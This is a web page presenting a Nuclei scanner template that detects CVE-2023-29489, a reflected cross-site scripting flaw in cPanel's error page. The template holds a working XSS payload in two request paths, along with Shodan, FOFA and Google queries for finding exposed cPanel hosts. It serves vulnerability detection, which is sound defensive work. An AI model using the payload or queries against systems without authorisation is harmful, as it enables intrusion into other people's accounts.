Skip to content
Nuclei Templates

cPanel < 11.109.9999.116 - Cross-Site Scripting

ID: CVE-2023-29489

Severity: medium

Author: DhiyaneshDk,0xKayala

Tags: cve,cve2023,cpanel,xss

Description

Section titled “Description”

An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.

YAML Source

Section titled “YAML Source”
id: CVE-2023-29489


info:
  name: cPanel < 11.109.9999.116 - Cross-Site Scripting
  author: DhiyaneshDk,0xKayala
  severity: medium
  description: |
    An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by cPanel to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2023/04/26/xss-million-websites-cpanel/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29489
    - https://forums.cpanel.net/threads/cpanel-tsr-2023-0001-full-disclosure.708949/
    - https://github.com/SynixCyberCrimeMy/CVE-2023-29489
    - https://github.com/learnerboy88/CVE-2023-29489
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29489
    cwe-id: CWE-79
    epss-score: 0.00354
    epss-percentile: 0.71955
    cpe: cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cpanel
    product: cpanel
    shodan-query:
      - "title:\"cPanel\""
      - http.title:"cpanel"
      - cpe:"cpe:2.3:a:cpanel:cpanel"
      - http.title:"cpanel - api codes"
    fofa-query:
      - "title=\"cpanel - api codes\""
      - title="cpanel"
    google-query:
      - "intitle:\"cpanel - api codes\""
      - intitle:"cpanel"
  tags: cve,cve2023,cpanel,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa'
      - '{{BaseURL}}/cpanelwebcall/<><img%20src=x%20onerror="prompt(document.domain)">'


    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa'
          - 'Invalid webcall ID:'
        condition: and


      - type: status
        status:
          - 400
# digest: 490a0046304402204717d5e08c37507ff8012a81d992eecfbd7989e8e4afb8ae242f3e26e5b8685e02200a824a3428816f14e421c57237f60470b7bf40b94b1a25cbef61853aebde2f7d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29489.yaml"

View on Github